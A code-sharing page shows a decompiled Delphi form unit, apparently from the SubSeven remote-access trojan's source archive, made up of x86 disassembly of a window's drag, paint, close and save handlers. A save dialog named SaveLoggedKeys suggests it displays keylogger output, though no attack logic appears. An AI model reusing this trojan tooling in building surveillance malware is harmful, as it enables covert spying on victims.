开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > Internet/网络编程 > 远程控制编程 > 查看源码
DispInfoUnit.pas
资源名称：subseven_src.zip　[点击查看]
上传用户：gdszzsp
上传日期：2007-01-08
资源大小：621k
文件大小：26k
源码类别：

远程控制编程

开发平台：

Delphi

DispInfoUnit.pas：源码内容
  1. unit DispInfoUnit;
  3. interface
  5. uses
  6.   Windows, Messages, SysUtils, Classes, Graphics,
  7.   Controls, Forms, Dialogs, StdCtrls;
  9. type
  10.   TDispInfo=class(TForm)
  11.     CaptionLabel: TLabel;
  12.     CloseButton: TFlatSpeedButton;
  13.     OutlookBtn1: TOutlookBtn;
  14.     OutlookBtn2: TOutlookBtn;
  15.     memo: TMemo;
  16.     FlatHint: TFlatHint;
  17.     SaveLoggedKeys: TSaveDialog;
  18.     procedure CaptionLabelMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  19.     procedure CaptionLabelMouseMove(Sender: TObject; Shift: TShiftState; X: Integer; Y: Integer);
  20.     procedure CaptionLabelMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  21.     procedure CloseButtonClick(Sender: TObject);
  22.     procedure FormCreate(Sender: TObject);
  23.     procedure FormHide(Sender: TObject);
  24.     procedure FormPaint(Sender: TObject);
  25.     procedure FormResize(Sender: TObject);
  26.     procedure OutlookBtn1Click(Sender: TObject);
  27.     procedure OutlookBtn2Click(Sender: TObject);
  28.   private
  29.     { Private declarations }
  30.   public
  31.     { Public declarations }
  32.   end ;
  34. var
  35.   DispInfo: TDispInfo;
  38. {This file is generated by DeDe v2.34 (c) 1999 by DaFixer}
  40. implementation
  42. {$R *.DFM}
  45. procedure TDispInfo.CaptionLabelMouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  46. begin
  47. {
  48. 004CCC04   55                     push    ebp
  49. 004CCC05   8BEC                   mov     ebp, esp
  50. 004CCC07   53                     push    ebx
  51. 004CCC08   8BD8                   mov     ebx, eax
  52. 004CCC0A   8B83C4020000           mov     eax, [ebx+$02C4]
  53. 004CCC10   8B4024                 mov     eax, [eax+$24]
  54. 004CCC13   E8C4F8F6FF             call    0043C4DC
  55. 004CCC18   50                     push    eax
  57. * Reference to: SHBrowseForFolderA.SetCapture
  58. |
  59. 004CCC19   E85AACF3FF             call    00407878
  60. 004CCC1E   C783E8020000FFFFFFFF   mov     dword ptr [ebx+$02E8], $FFFFFFFF
  61. 004CCC28   8B450C                 mov     eax, [ebp+$0C]
  62. 004CCC2B   8983E0020000           mov     [ebx+$02E0], eax
  63. 004CCC31   8B4508                 mov     eax, [ebp+$08]
  64. 004CCC34   8983E4020000           mov     [ebx+$02E4], eax
  65. 004CCC3A   5B                     pop     ebx
  66. 004CCC3B   5D                     pop     ebp
  67. 004CCC3C   C20C                   ret     $0C
  70. }
  71.  end ; 
  73. procedure TDispInfo.CaptionLabelMouseMove(Sender: TObject; Shift: TShiftState; X: Integer; Y: Integer);
  74. begin
  75. {
  76. 004CCC40   55                     push    ebp
  77. 004CCC41   8BEC                   mov     ebp, esp
  78. 004CCC43   53                     push    ebx
  79. 004CCC44   56                     push    esi
  80. 004CCC45   8BD8                   mov     ebx, eax
  81. 004CCC47   83BBE802000000         cmp     dword ptr [ebx+$02E8], +$00
  82. 004CCC4E   7433                   jz      004CCC83
  83. 004CCC50   8B83C4020000           mov     eax, [ebx+$02C4]
  84. 004CCC56   8B7024                 mov     esi, [eax+$24]
  85. 004CCC59   8B83E0020000           mov     eax, [ebx+$02E0]
  86. 004CCC5F   2B450C                 sub     eax, dword ptr [ebp+$0C]
  87. 004CCC62   8B5630                 mov     edx, [esi+$30]
  88. 004CCC65   2BD0                   sub     edx, eax
  89. 004CCC67   8BC6                   mov     eax, esi
  90. 004CCC69   E83E92F6FF             call    00435EAC
  91. 004CCC6E   8B83E4020000           mov     eax, [ebx+$02E4]
  92. 004CCC74   2B4508                 sub     eax, dword ptr [ebp+$08]
  93. 004CCC77   8B5634                 mov     edx, [esi+$34]
  94. 004CCC7A   2BD0                   sub     edx, eax
  95. 004CCC7C   8BC6                   mov     eax, esi
  96. 004CCC7E   E84D92F6FF             call    00435ED0
  97. 004CCC83   5E                     pop     esi
  98. 004CCC84   5B                     pop     ebx
  99. 004CCC85   5D                     pop     ebp
  100. 004CCC86   C208                   ret     $08
  103. }
  104.  end ; 
  106. procedure TDispInfo.CaptionLabelMouseUp(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X: Integer; Y: Integer);
  107. begin
  108. {
  109. 004CCC8C   55                     push    ebp
  110. 004CCC8D   8BEC                   mov     ebp, esp
  111. 004CCC8F   53                     push    ebx
  112. 004CCC90   56                     push    esi
  113. 004CCC91   8BD8                   mov     ebx, eax
  114. 004CCC93   83BBE802000000         cmp     dword ptr [ebx+$02E8], +$00
  115. 004CCC9A   7440                   jz      004CCCDC
  116. 004CCC9C   8B83C4020000           mov     eax, [ebx+$02C4]
  117. 004CCCA2   8B7024                 mov     esi, [eax+$24]
  119. * Reference to: SHBrowseForFolderA.ReleaseCapture
  120. |
  121. 004CCCA5   E87EABF3FF             call    00407828
  122. 004CCCAA   33C0                   xor     eax, eax
  123. 004CCCAC   8983E8020000           mov     [ebx+$02E8], eax
  124. 004CCCB2   8B83E0020000           mov     eax, [ebx+$02E0]
  125. 004CCCB8   2B450C                 sub     eax, dword ptr [ebp+$0C]
  126. 004CCCBB   8B5630                 mov     edx, [esi+$30]
  127. 004CCCBE   2BD0                   sub     edx, eax
  128. 004CCCC0   8BC6                   mov     eax, esi
  129. 004CCCC2   E8E591F6FF             call    00435EAC
  130. 004CCCC7   8B83E4020000           mov     eax, [ebx+$02E4]
  131. 004CCCCD   2B4508                 sub     eax, dword ptr [ebp+$08]
  132. 004CCCD0   8B5634                 mov     edx, [esi+$34]
  133. 004CCCD3   2BD0                   sub     edx, eax
  134. 004CCCD5   8BC6                   mov     eax, esi
  135. 004CCCD7   E8F491F6FF             call    00435ED0
  136. 004CCCDC   5E                     pop     esi
  137. 004CCCDD   5B                     pop     ebx
  138. 004CCCDE   5D                     pop     ebp
  139. 004CCCDF   C20C                   ret     $0C
  142. }
  143.  end ; 
  145. procedure TDispInfo.CloseButtonClick(Sender: TObject);
  146. begin
  147. {
  148. 004CCBFC   E8CB2CF8FF             call    0044F8CC
  149. 004CCC01   C3                     ret
  152. }
  153.  end ; 
  155. procedure TDispInfo.FormCreate(Sender: TObject);
  156. begin
  157. {
  158. 004CCB90   55                     push    ebp
  159. 004CCB91   8BEC                   mov     ebp, esp
  160. 004CCB93   6A00                   push    $00
  161. 004CCB95   53                     push    ebx
  162. 004CCB96   8BD8                   mov     ebx, eax
  163. 004CCB98   33C0                   xor     eax, eax
  164. 004CCB9A   55                     push    ebp
  165. 004CCB9B   68EFCB4C00             push    $004CCBEF
  167. ***** TRY
  168. |
  169. 004CCBA0   64FF30                 push    dword ptr fs:[eax]
  170. 004CCBA3   648920                 mov     fs:[eax], esp
  171. 004CCBA6   8BC3                   mov     eax, ebx
  172. 004CCBA8   E863FEFFFF             call    004CCA10
  173. 004CCBAD   8D55FC                 lea     edx, [ebp-$04]
  174. 004CCBB0   8B83C4020000           mov     eax, [ebx+$02C4]
  175. 004CCBB6   E8359BF6FF             call    004366F0
  176. 004CCBBB   8B55FC                 mov     edx, [ebp-$04]
  177. 004CCBBE   8BC3                   mov     eax, ebx
  178. 004CCBC0   E85B9BF6FF             call    00436720
  179. 004CCBC5   A1DC495400             mov     eax, dword ptr [$5449DC]
  180. 004CCBCA   8B00                   mov     eax, [eax]
  181. 004CCBCC   8A9085000000           mov     dl, byte ptr [eax+$0085]
  182. 004CCBD2   8BC3                   mov     eax, ebx
  183. 004CCBD4   E85B9CF6FF             call    00436834
  184. 004CCBD9   33C0                   xor     eax, eax
  185. 004CCBDB   5A                     pop     edx
  186. 004CCBDC   59                     pop     ecx
  187. 004CCBDD   59                     pop     ecx
  188. 004CCBDE   648910                 mov     fs:[eax], edx
  190. ****** FINALLY
  191. |
  192. 004CCBE1   68F6CB4C00             push    $004CCBF6
  193. 004CCBE6   8D45FC                 lea     eax, [ebp-$04]
  194. 004CCBE9   E86E70F3FF             call    00403C5C
  195. 004CCBEE   C3                     ret
  197. 004CCBEF   E96C6AF3FF             jmp     00403660
  198. 004CCBF4   EBF0                   jmp     004CCBE6
  200. ****** END
  201. |
  202. 004CCBF6   5B                     pop     ebx
  203. 004CCBF7   59                     pop     ecx
  204. 004CCBF8   5D                     pop     ebp
  205. 004CCBF9   C3                     ret
  208. }
  209.  end ; 
  211. procedure TDispInfo.FormHide(Sender: TObject);
  212. begin
  213. {
  214. 004CCD78   A1DC495400             mov     eax, dword ptr [$5449DC]
  215. 004CCD7D   8B00                   mov     eax, [eax]
  216. 004CCD7F   C680F80B000000         mov     byte ptr [eax+$0BF8], $00
  217. 004CCD86   A138735400             mov     eax, dword ptr [$547338]
  218. 004CCD8B   8B80CC020000           mov     eax, [eax+$02CC]
  219. 004CCD91   B201                   mov     dl, $01
  220. 004CCD93   E82C01F6FF             call    0042CEC4
  221. 004CCD98   A138735400             mov     eax, dword ptr [$547338]
  222. 004CCD9D   8B80D0020000           mov     eax, [eax+$02D0]
  224. * Possible String Reference to: "close"
  225. |
  226. 004CCDA3   BACCCD4C00             mov     edx, $004CCDCC
  227. 004CCDA8   E8DF000400             call    0050CE8C
  228. 004CCDAD   A138735400             mov     eax, dword ptr [$547338]
  229. 004CCDB2   8B80D4020000           mov     eax, [eax+$02D4]
  231. * Possible String Reference to: "save"
  232. |
  233. 004CCDB8   BADCCD4C00             mov     edx, $004CCDDC
  234. 004CCDBD   E8CA000400             call    0050CE8C
  235. 004CCDC2   C3                     ret
  238. }
  239.  end ; 
  241. procedure TDispInfo.FormPaint(Sender: TObject);
  242. begin
  243. {
  244. 004CCDE4   53                     push    ebx
  245. 004CCDE5   56                     push    esi
  246. 004CCDE6   57                     push    edi
  247. 004CCDE7   55                     push    ebp
  248. 004CCDE8   83C4E0                 add     esp, -$20
  249. 004CCDEB   8BD8                   mov     ebx, eax
  250. 004CCDED   8B2DDC495400           mov     ebp, [$5449DC]
  251. 004CCDF3   8B733C                 mov     esi, [ebx+$3C]
  252. 004CCDF6   83EE05                 sub     esi, +$05
  253. 004CCDF9   83EE18                 sub     esi, +$18
  254. 004CCDFC   7C5D                   jl      004CCE5B
  255. 004CCDFE   46                     inc     esi
  256. 004CCDFF   BF18000000             mov     edi, $00000018
  257. 004CCE04   6A01                   push    $01
  258. 004CCE06   8D442404               lea     eax, [esp+$04]
  259. 004CCE0A   50                     push    eax
  260. 004CCE0B   B904000000             mov     ecx, $00000004
  261. 004CCE10   BA1A000000             mov     edx, $0000001A
  262. 004CCE15   B801000000             mov     eax, $00000001
  263. 004CCE1A   E8213BF4FF             call    00410940
  264. 004CCE1F   54                     push    esp
  265. 004CCE20   6A01                   push    $01
  266. 004CCE22   8D442418               lea     eax, [esp+$18]
  267. 004CCE26   50                     push    eax
  268. 004CCE27   B904000000             mov     ecx, $00000004
  269. 004CCE2C   8BD7                   mov     edx, edi
  270. 004CCE2E   33C0                   xor     eax, eax
  271. 004CCE30   E80B3BF4FF             call    00410940
  272. 004CCE35   8D442414               lea     eax, [esp+$14]
  273. 004CCE39   50                     push    eax
  274. 004CCE3A   8B4500                 mov     eax, [ebp+$00]
  275. 004CCE3D   8B80E80A0000           mov     eax, [eax+$0AE8]
  276. 004CCE43   E84865F5FF             call    00423390
  277. 004CCE48   50                     push    eax
  278. 004CCE49   8BC3                   mov     eax, ebx
  279. 004CCE4B   E8B006F8FF             call    0044D500
  280. 004CCE50   59                     pop     ecx
  281. 004CCE51   5A                     pop     edx
  282. 004CCE52   E8F511F5FF             call    0041E04C
  283. 004CCE57   47                     inc     edi
  284. 004CCE58   4E                     dec     esi
  285. 004CCE59   75A9                   jnz     004CCE04
  286. 004CCE5B   8B733C                 mov     esi, [ebx+$3C]
  287. 004CCE5E   83EE05                 sub     esi, +$05
  288. 004CCE61   83EE18                 sub     esi, +$18
  289. 004CCE64   7C61                   jl      004CCEC7
  290. 004CCE66   46                     inc     esi
  291. 004CCE67   BF18000000             mov     edi, $00000018
  292. 004CCE6C   6A01                   push    $01
  293. 004CCE6E   8D442404               lea     eax, [esp+$04]
  294. 004CCE72   50                     push    eax
  295. 004CCE73   B904000000             mov     ecx, $00000004
  296. 004CCE78   BA1A000000             mov     edx, $0000001A
  297. 004CCE7D   B830000000             mov     eax, $00000030
  298. 004CCE82   E8B93AF4FF             call    00410940
  299. 004CCE87   54                     push    esp
  300. 004CCE88   6A01                   push    $01
  301. 004CCE8A   8D442418               lea     eax, [esp+$18]
  302. 004CCE8E   50                     push    eax
  303. 004CCE8F   8B4338                 mov     eax, [ebx+$38]
  304. 004CCE92   83E804                 sub     eax, +$04
  305. 004CCE95   B904000000             mov     ecx, $00000004
  306. 004CCE9A   8BD7                   mov     edx, edi
  307. 004CCE9C   E89F3AF4FF             call    00410940
  308. 004CCEA1   8D442414               lea     eax, [esp+$14]
  309. 004CCEA5   50                     push    eax
  310. 004CCEA6   8B4500                 mov     eax, [ebp+$00]
  311. 004CCEA9   8B80E80A0000           mov     eax, [eax+$0AE8]
  312. 004CCEAF   E8DC64F5FF             call    00423390
  313. 004CCEB4   50                     push    eax
  314. 004CCEB5   8BC3                   mov     eax, ebx
  315. 004CCEB7   E84406F8FF             call    0044D500
  316. 004CCEBC   59                     pop     ecx
  317. 004CCEBD   5A                     pop     edx
  318. 004CCEBE   E88911F5FF             call    0041E04C
  319. 004CCEC3   47                     inc     edi
  320. 004CCEC4   4E                     dec     esi
  321. 004CCEC5   75A5                   jnz     004CCE6C
  322. 004CCEC7   8B7338                 mov     esi, [ebx+$38]
  323. 004CCECA   83EE18                 sub     esi, +$18
  324. 004CCECD   83EE18                 sub     esi, +$18
  325. 004CCED0   7C5D                   jl      004CCF2F
  326. 004CCED2   46                     inc     esi
  327. 004CCED3   BF18000000             mov     edi, $00000018
  328. 004CCED8   6A18                   push    $18
  329. 004CCEDA   8D442404               lea     eax, [esp+$04]
  330. 004CCEDE   50                     push    eax
  331. 004CCEDF   B901000000             mov     ecx, $00000001
  332. 004CCEE4   BA01000000             mov     edx, $00000001
  333. 004CCEE9   B81A000000             mov     eax, $0000001A
  334. 004CCEEE   E84D3AF4FF             call    00410940
  335. 004CCEF3   54                     push    esp
  336. 004CCEF4   6A18                   push    $18
  337. 004CCEF6   8D442418               lea     eax, [esp+$18]
  338. 004CCEFA   50                     push    eax
  339. 004CCEFB   B901000000             mov     ecx, $00000001
  340. 004CCF00   33D2                   xor     edx, edx
  341. 004CCF02   8BC7                   mov     eax, edi
  342. 004CCF04   E8373AF4FF             call    00410940
  343. 004CCF09   8D442414               lea     eax, [esp+$14]
  344. 004CCF0D   50                     push    eax
  345. 004CCF0E   8B4500                 mov     eax, [ebp+$00]
  346. 004CCF11   8B80E80A0000           mov     eax, [eax+$0AE8]
  347. 004CCF17   E87464F5FF             call    00423390
  348. 004CCF1C   50                     push    eax
  349. 004CCF1D   8BC3                   mov     eax, ebx
  350. 004CCF1F   E8DC05F8FF             call    0044D500
  351. 004CCF24   59                     pop     ecx
  352. 004CCF25   5A                     pop     edx
  353. 004CCF26   E82111F5FF             call    0041E04C
  354. 004CCF2B   47                     inc     edi
  355. 004CCF2C   4E                     dec     esi
  356. 004CCF2D   75A9                   jnz     004CCED8
  357. 004CCF2F   8B7338                 mov     esi, [ebx+$38]
  358. 004CCF32   83EE04                 sub     esi, +$04
  359. 004CCF35   83EE04                 sub     esi, +$04
  360. 004CCF38   7C61                   jl      004CCF9B
  361. 004CCF3A   46                     inc     esi
  362. 004CCF3B   BF04000000             mov     edi, $00000004
  363. 004CCF40   6A04                   push    $04
  364. 004CCF42   8D442404               lea     eax, [esp+$04]
  365. 004CCF46   50                     push    eax
  366. 004CCF47   B901000000             mov     ecx, $00000001
  367. 004CCF4C   BA1C000000             mov     edx, $0000001C
  368. 004CCF51   B81A000000             mov     eax, $0000001A
  369. 004CCF56   E8E539F4FF             call    00410940
  370. 004CCF5B   54                     push    esp
  371. 004CCF5C   6A04                   push    $04
  372. 004CCF5E   8D442418               lea     eax, [esp+$18]
  373. 004CCF62   50                     push    eax
  374. 004CCF63   8B533C                 mov     edx, [ebx+$3C]
  375. 004CCF66   83EA04                 sub     edx, +$04
  376. 004CCF69   B901000000             mov     ecx, $00000001
  377. 004CCF6E   8BC7                   mov     eax, edi
  378. 004CCF70   E8CB39F4FF             call    00410940
  379. 004CCF75   8D442414               lea     eax, [esp+$14]
  380. 004CCF79   50                     push    eax
  381. 004CCF7A   8B4500                 mov     eax, [ebp+$00]
  382. 004CCF7D   8B80E80A0000           mov     eax, [eax+$0AE8]
  383. 004CCF83   E80864F5FF             call    00423390
  384. 004CCF88   50                     push    eax
  385. 004CCF89   8BC3                   mov     eax, ebx
  386. 004CCF8B   E87005F8FF             call    0044D500
  387. 004CCF90   59                     pop     ecx
  388. 004CCF91   5A                     pop     edx
  389. 004CCF92   E8B510F5FF             call    0041E04C
  390. 004CCF97   47                     inc     edi
  391. 004CCF98   4E                     dec     esi
  392. 004CCF99   75A5                   jnz     004CCF40
  393. 004CCF9B   6A18                   push    $18
  394. 004CCF9D   8D442404               lea     eax, [esp+$04]
  395. 004CCFA1   50                     push    eax
  396. 004CCFA2   B918000000             mov     ecx, $00000018
  397. 004CCFA7   BA01000000             mov     edx, $00000001
  398. 004CCFAC   B801000000             mov     eax, $00000001
  399. 004CCFB1   E88A39F4FF             call    00410940
  400. 004CCFB6   54                     push    esp
  401. 004CCFB7   6A18                   push    $18
  402. 004CCFB9   8D442418               lea     eax, [esp+$18]
  403. 004CCFBD   50                     push    eax
  404. 004CCFBE   B918000000             mov     ecx, $00000018
  405. 004CCFC3   33D2                   xor     edx, edx
  406. 004CCFC5   33C0                   xor     eax, eax
  407. 004CCFC7   E87439F4FF             call    00410940
  408. 004CCFCC   8D442414               lea     eax, [esp+$14]
  409. 004CCFD0   50                     push    eax
  410. 004CCFD1   8B4500                 mov     eax, [ebp+$00]
  411. 004CCFD4   8B80E80A0000           mov     eax, [eax+$0AE8]
  412. 004CCFDA   E8B163F5FF             call    00423390
  413. 004CCFDF   50                     push    eax
  414. 004CCFE0   8BC3                   mov     eax, ebx
  415. 004CCFE2   E81905F8FF             call    0044D500
  416. 004CCFE7   59                     pop     ecx
  417. 004CCFE8   5A                     pop     edx
  418. 004CCFE9   E85E10F5FF             call    0041E04C
  419. 004CCFEE   6A18                   push    $18
  420. 004CCFF0   8D442404               lea     eax, [esp+$04]
  421. 004CCFF4   50                     push    eax
  422. 004CCFF5   B918000000             mov     ecx, $00000018
  423. 004CCFFA   BA01000000             mov     edx, $00000001
  424. 004CCFFF   B81C000000             mov     eax, $0000001C
  425. 004CD004   E83739F4FF             call    00410940
  426. 004CD009   54                     push    esp
  427. 004CD00A   6A18                   push    $18
  428. 004CD00C   8D442418               lea     eax, [esp+$18]
  429. 004CD010   50                     push    eax
  430. 004CD011   8B4338                 mov     eax, [ebx+$38]
  431. 004CD014   83E818                 sub     eax, +$18
  432. 004CD017   B918000000             mov     ecx, $00000018
  433. 004CD01C   33D2                   xor     edx, edx
  434. 004CD01E   E81D39F4FF             call    00410940
  435. 004CD023   8D442414               lea     eax, [esp+$14]
  436. 004CD027   50                     push    eax
  437. 004CD028   8B4500                 mov     eax, [ebp+$00]
  438. 004CD02B   8B80E80A0000           mov     eax, [eax+$0AE8]
  439. 004CD031   E85A63F5FF             call    00423390
  440. 004CD036   50                     push    eax
  441. 004CD037   8BC3                   mov     eax, ebx
  442. 004CD039   E8C204F8FF             call    0044D500
  443. 004CD03E   59                     pop     ecx
  444. 004CD03F   5A                     pop     edx
  445. 004CD040   E80710F5FF             call    0041E04C
  446. 004CD045   6A04                   push    $04
  447. 004CD047   8D442404               lea     eax, [esp+$04]
  448. 004CD04B   50                     push    eax
  449. 004CD04C   B904000000             mov     ecx, $00000004
  450. 004CD051   BA1C000000             mov     edx, $0000001C
  451. 004CD056   B801000000             mov     eax, $00000001
  452. 004CD05B   E8E038F4FF             call    00410940
  453. 004CD060   54                     push    esp
  454. 004CD061   6A04                   push    $04
  455. 004CD063   8D442418               lea     eax, [esp+$18]
  456. 004CD067   50                     push    eax
  457. 004CD068   8B533C                 mov     edx, [ebx+$3C]
  458. 004CD06B   83EA04                 sub     edx, +$04
  459. 004CD06E   B904000000             mov     ecx, $00000004
  460. 004CD073   33C0                   xor     eax, eax
  461. 004CD075   E8C638F4FF             call    00410940
  462. 004CD07A   8D442414               lea     eax, [esp+$14]
  463. 004CD07E   50                     push    eax
  464. 004CD07F   8B4500                 mov     eax, [ebp+$00]
  465. 004CD082   8B80E80A0000           mov     eax, [eax+$0AE8]
  466. 004CD088   E80363F5FF             call    00423390
  467. 004CD08D   50                     push    eax
  468. 004CD08E   8BC3                   mov     eax, ebx
  469. 004CD090   E86B04F8FF             call    0044D500
  470. 004CD095   59                     pop     ecx
  471. 004CD096   5A                     pop     edx
  472. 004CD097   E8B00FF5FF             call    0041E04C
  473. 004CD09C   6A04                   push    $04
  474. 004CD09E   8D442404               lea     eax, [esp+$04]
  475. 004CD0A2   50                     push    eax
  476. 004CD0A3   B904000000             mov     ecx, $00000004
  477. 004CD0A8   BA1C000000             mov     edx, $0000001C
  478. 004CD0AD   B830000000             mov     eax, $00000030
  479. 004CD0B2   E88938F4FF             call    00410940
  480. 004CD0B7   54                     push    esp
  481. 004CD0B8   6A04                   push    $04
  482. 004CD0BA   8D442418               lea     eax, [esp+$18]
  483. 004CD0BE   50                     push    eax
  484. 004CD0BF   8B533C                 mov     edx, [ebx+$3C]
  485. 004CD0C2   83EA04                 sub     edx, +$04
  486. 004CD0C5   8B4338                 mov     eax, [ebx+$38]
  487. 004CD0C8   83E804                 sub     eax, +$04
  488. 004CD0CB   B904000000             mov     ecx, $00000004
  489. 004CD0D0   E86B38F4FF             call    00410940
  490. 004CD0D5   8D442414               lea     eax, [esp+$14]
  491. 004CD0D9   50                     push    eax
  492. 004CD0DA   8B4500                 mov     eax, [ebp+$00]
  493. 004CD0DD   8B80E80A0000           mov     eax, [eax+$0AE8]
  494. 004CD0E3   E8A862F5FF             call    00423390
  495. 004CD0E8   50                     push    eax
  496. 004CD0E9   8BC3                   mov     eax, ebx
  497. 004CD0EB   E81004F8FF             call    0044D500
  498. 004CD0F0   59                     pop     ecx
  499. 004CD0F1   5A                     pop     edx
  500. 004CD0F2   E8550FF5FF             call    0041E04C
  501. 004CD0F7   8BC3                   mov     eax, ebx
  502. 004CD0F9   E80204F8FF             call    0044D500
  503. 004CD0FE   8B4014                 mov     eax, [eax+$14]
  504. 004CD101   8B5500                 mov     edx, [ebp+$00]
  505. 004CD104   8B92180B0000           mov     edx, [edx+$0B18]
  506. 004CD10A   E80D0AF5FF             call    0041DB1C
  507. 004CD10F   8B433C                 mov     eax, [ebx+$3C]
  508. 004CD112   83E81C                 sub     eax, +$1C
  509. 004CD115   50                     push    eax
  510. 004CD116   8D442404               lea     eax, [esp+$04]
  511. 004CD11A   50                     push    eax
  512. 004CD11B   8B4B38                 mov     ecx, [ebx+$38]
  513. 004CD11E   83E908                 sub     ecx, +$08
  514. 004CD121   BA18000000             mov     edx, $00000018
  515. 004CD126   B804000000             mov     eax, $00000004
  516. 004CD12B   E81038F4FF             call    00410940
  517. 004CD130   54                     push    esp
  518. 004CD131   8BC3                   mov     eax, ebx
  519. 004CD133   E8C803F8FF             call    0044D500
  520. 004CD138   5A                     pop     edx
  521. 004CD139   E8BE10F5FF             call    0041E1FC
  522. 004CD13E   83C420                 add     esp, +$20
  523. 004CD141   5D                     pop     ebp
  524. 004CD142   5F                     pop     edi
  525. 004CD143   5E                     pop     esi
  526. 004CD144   5B                     pop     ebx
  527. 004CD145   C3                     ret
  530. }
  531.  end ; 
  533. procedure TDispInfo.FormResize(Sender: TObject);
  534. begin
  535. {
  536. 004CD148   8B10                   mov     edx, [eax]
  537. 004CD14A   FF5278                 call    dword ptr [edx+$78]
  538. 004CD14D   C3                     ret
  541. }
  542.  end ; 
  544. procedure TDispInfo.OutlookBtn1Click(Sender: TObject);
  545. begin
  546. {
  547. 004CCD70   E8072DF8FF             call    0044FA7C
  548. 004CCD75   C3                     ret
  551. }
  552.  end ; 
  554. procedure TDispInfo.OutlookBtn2Click(Sender: TObject);
  555. begin
  556. {
  557. 004CCCE4   55                     push    ebp
  558. 004CCCE5   8BEC                   mov     ebp, esp
  559. 004CCCE7   6A00                   push    $00
  560. 004CCCE9   53                     push    ebx
  561. 004CCCEA   8BD8                   mov     ebx, eax
  562. 004CCCEC   33C0                   xor     eax, eax
  563. 004CCCEE   55                     push    ebp
  564. 004CCCEF   6865CD4C00             push    $004CCD65
  566. ***** TRY
  567. |
  568. 004CCCF4   64FF30                 push    dword ptr fs:[eax]
  569. 004CCCF7   648920                 mov     fs:[eax], esp
  570. 004CCCFA   A1DC495400             mov     eax, dword ptr [$5449DC]
  571. 004CCCFF   8B00                   mov     eax, [eax]
  572. 004CCD01   80B8F80B000000         cmp     byte ptr [eax+$0BF8], $00
  573. 004CCD08   7418                   jz      004CCD22
  574. 004CCD0A   A1DC495400             mov     eax, dword ptr [$5449DC]
  575. 004CCD0F   8B00                   mov     eax, [eax]
  576. 004CCD11   E82E050500             call    0051D244
  577. 004CCD16   C7832C02000001000000   mov     dword ptr [ebx+$022C], $00000001
  578. 004CCD20   EB2D                   jmp     004CCD4F
  579. 004CCD22   8B83DC020000           mov     eax, [ebx+$02DC]
  580. 004CCD28   8B10                   mov     edx, [eax]
  581. 004CCD2A   FF523C                 call    dword ptr [edx+$3C]
  582. 004CCD2D   8D55FC                 lea     edx, [ebp-$04]
  583. 004CCD30   8B83DC020000           mov     eax, [ebx+$02DC]
  584. 004CCD36   E835B2F8FF             call    00457F70
  585. 004CCD3B   8B55FC                 mov     edx, [ebp-$04]
  586. 004CCD3E   8B83CC020000           mov     eax, [ebx+$02CC]
  587. 004CCD44   8B8004020000           mov     eax, [eax+$0204]
  588. 004CCD4A   8B08                   mov     ecx, [eax]
  589. 004CCD4C   FF5164                 call    dword ptr [ecx+$64]
  590. 004CCD4F   33C0                   xor     eax, eax
  591. 004CCD51   5A                     pop     edx
  592. 004CCD52   59                     pop     ecx
  593. 004CCD53   59                     pop     ecx
  594. 004CCD54   648910                 mov     fs:[eax], edx
  596. ****** FINALLY
  597. |
  598. 004CCD57   686CCD4C00             push    $004CCD6C
  599. 004CCD5C   8D45FC                 lea     eax, [ebp-$04]
  600. 004CCD5F   E8F86EF3FF             call    00403C5C
  601. 004CCD64   C3                     ret
  603. 004CCD65   E9F668F3FF             jmp     00403660
  604. 004CCD6A   EBF0                   jmp     004CCD5C
  606. ****** END
  607. |
  608. 004CCD6C   5B                     pop     ebx
  609. 004CCD6D   59                     pop     ecx
  610. 004CCD6E   5D                     pop     ebp
  611. 004CCD6F   C3                     ret
  614. }
  615.  end ; 
  617. end.